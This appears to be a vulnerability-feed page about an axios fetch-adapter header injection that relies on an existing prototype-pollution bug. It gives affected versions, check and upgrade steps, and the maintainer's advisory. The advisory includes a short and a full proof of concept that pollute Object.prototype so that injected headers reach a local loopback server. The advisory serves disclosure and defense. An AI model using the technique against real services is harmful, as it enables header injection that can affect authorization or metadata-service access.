---
id: "CVE-2026-101900"
page: "https://infrastack.ai/live/CVE-2026-101900"
kind: "vulnerability"
aliases: ["CVE-2026-101900", "GHSA-4hqw-qxg8-jxx2"]
title: "Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders"
severity: "medium"
cvss: 6.9
epss: 0.00546
exploited: false
status: "open"
category: "package"
products: [{"name": "axios", "note": ">=1.12.0", "fixed": [">=1.20.0"], "affected": ">= 1.12.0", "ecosystem": "npm"}, {"name": "axios", "fixed": ["1.20.0"], "affected": ">= 1.12.0, < 1.20.0", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["axios", "cwe-1321", "cwe-693", "cwe-74", "fetch-adapter", "node", "npm", "package"]
not_affected_if: ["default-config", "no-prototype-pollution", "plain-object-bodies"]
published_at: "2026-09-16T09:04:02+00:00"
first_seen_at: "2026-11-09T22:53:19+00:00"
updated_at: "2026-11-09T23:00:36+00:00"
sources: [{"source": "ghsa-repo", "url": "https://github.com/axios/axios/security/advisories/GHSA-4hqw-qxg8-jxx2", "first_seen_at": "2026-11-09T22:53:19+00:00"}, {"source": "ghsa", "url": "https://github.com/advisories/GHSA-4hqw-qxg8-jxx2", "first_seen_at": "2026-11-09T22:57:50+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101900", "first_seen_at": "2026-11-09T23:10:12+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00546, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-101900"}]
---

# Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders

Link for people: https://infrastack.ai/live/CVE-2026-101900 (this .md is for agents)

When an attacker already has a prototype-pollution bug in the same Node.js process, axios's fetch adapter can merge attacker-chosen headers into outbound requests with array or class-instance bodies. The Node HTTP adapter blocks this path, but the shared resolveConfig helper used by the fetch adapter does not.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:axios affected >= 1.12.0 fixed >=1.20.0
- npm:axios affected >= 1.12.0, < 1.20.0 fixed 1.20.0

## How to check

- Check the installed axios version with `npm ls axios`; versions from `1.12.0` up to but not including `1.20.0` are affected.
- Search the code for `adapter: 'fetch'` in axios calls that send array or custom class-instance bodies.
- Confirm whether the service has any prototype-pollution exposure, since the bug needs one.

## Fix

- axios: upgrade to `1.20.0` or later.

## Timeline

- 2026-11-09T22:53:19+00:00 ghsa-repo https://github.com/axios/axios/security/advisories/GHSA-4hqw-qxg8-jxx2
- 2026-11-09T22:57:50+00:00 ghsa https://github.com/advisories/GHSA-4hqw-qxg8-jxx2
- 2026-11-09T23:10:12+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-101900

## Documents

- [advisory] Maintainer's advisory: github.com https://github.com/axios/axios/security/advisories/GHSA-4hqw-qxg8-jxx2
- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/axios/axios/security-advisories/GHSA-4hqw-qxg8-jxx2
- [fix] Patch: github.com https://github.com/axios/axios/pull/11141
- [fix] Patch: github.com https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a
- [fix] Release: github.com https://github.com/axios/axios/releases/tag/v1.20.0

## From the sources

## Summary

Axios contains a guard in the Node HTTP adapter to avoid using an inherited `Object.prototype.getHeaders` as a FormData header source. The fetch adapter calls the shared `resolveConfig()` helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes `Object.prototype` with FormData-like properties and `getHeaders()`, the fetch adapter can merge attacker-controlled headers into the outbound request.

Axios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.

## Impact

An attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.

Plain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.

## Affected Functionality

Affected:

- Fetch adapter requests.
- `resolveConfig()` handling of `utils.isFormData(data)`.
- Request bodies that can be spoofed as FormData through inherited `Symbol.toStringTag`, `append`, and `getHeaders`.

Not affected:

- Node HTTP adapter's later FormData header path, which checks `data.getHeaders !== Object.prototype.getHeaders`.
- Plain object request bodies rejected by current `isFormData()` plain-object guard.
- Processes without prototype pollution.

## Technical Details

`lib/helpers/resolveConfig.js` currently contains:

```js
if (utils.isFormData(data)) {
  if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {
    headers.setContentType(undefined);
  } else if (utils.isFunction(data.getHeaders)) {
    setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
  }
}
```

Unlike `lib/adapters/http.js`, this code does not reject `Object.prototype.getHeaders`. Local verification on axios `1.18.1` polluted `Object.prototype[Symbol.toStringTag]`, `append`, and `getHeaders`, then sent an array body with `adapter: 'fetch'`. The loopback server received `X-Poisoned: yes`.

## Proof of Concept of Attack

Constrained local demonstration:

```js
Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = function () {};
Object.prototype.getHeaders = () => ({ 'X-Poisoned': 'yes' });

await axios.post(url, ['a', 'b'], { adapter: 'fetch' });
```

Expected safe behavior is that inherited `Object.prototype.getHeaders` is ignored. Current affected behavior merges the returned header.

## Workarounds

Use the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.

<details>
  <summary><h3>Original report</h3></summary>
  
## Summary

The Node HTTP adapter contains a guard that prevents `Object.prototype.getHeaders` from being used as a FormData header source. The shared `resolveConfig()` helper does not have the same guard. The fetch adapter calls `resolveConfig()`, so it can still merge headers returned by inherited `data.getHeaders()`.

This is a patch mismatch for the FormData prototype-pollution header-injection class.

## Affected Version

Validated on:

- axios: `1.17.0`
- commit: `4306df2`
- runtime: Node.js `v24.15.0`

## Preconditions

- Application uses `adapter: 'fetch'`.
- A separate prototype-pollution primitive can write:
  - `Object.prototype[Symbol.toStringTag] = 'FormData'`
  - `Object.prototype.append = function () {}`
  - `Object.prototype.getHeaders = function () { ... }`
- The request body is an array or custom class instance. Plain objects are blocked by the current `isFormData()` plain-object guard.

## Root Cause

`lib/adapters/http.js` contains:

```js
data.getHeaders !== Object.prototype.getHeaders
```

But `lib/helpers/resolveConfig.js` only checks:

```js
} else if (utils.isFunction(data.getHeaders)) {
  setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
}
```

The fetch adapter calls `resolveConfig(config)` before dispatching the request.

## Impact

An attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.

## Proof of Concept

```js
import axios from './index.js';
import http from 'http';

const start = (handler) => new Promise((resolve) => {
  const server = http.createServer((req, res) => {
    let body = '';
    req.on('data', (chunk) => (body += chunk));
    req.on('end', () => handler(req, res, body));
  });
  server.listen(0, '127.0.0.1', () => resolve(server));
});

const stop = (server) => new Promise((resolve) => server.close(resolve));

const hits = [];
const tag = Symbol.toStringTag;

const server = await start((req, res, body) => {
  hits.push({ headers: req.headers, body });
  res.setHeader('Content-Type', 'application/json');
  res.end('{"ok":true}');
});

try {
  Object.prototype[tag] = 'FormData';
  Object.prototype.append = function () {};
  Object.prototype.getHeaders = () => {
    const headers = Object.create(null);
    headers['X-Poisoned'] = 'yes';
    return headers;
  };

  await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, ['a', 'b'], {
    adapter: 'fetch',
    timeout: 3000
  });

  console.log(hits[0]);
} finally {
  delete Object.prototype[tag];
  delete Object.prototype.append;
  delete Object.prototype.getHeaders;
  await stop(server);
}
```

Observed wire request:

```json
{
  "headers": {
    "x-poisoned": "yes",
    "content-type": "text/plain;charset=UTF-8",
    "content-length": "3"
  },
  "body": "a,b"
}
```

## References

- https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9
- https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9
- Related patch area: `lib/adapters/http.js`, `lib/helpers/resolveConfig.js`
</details>

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
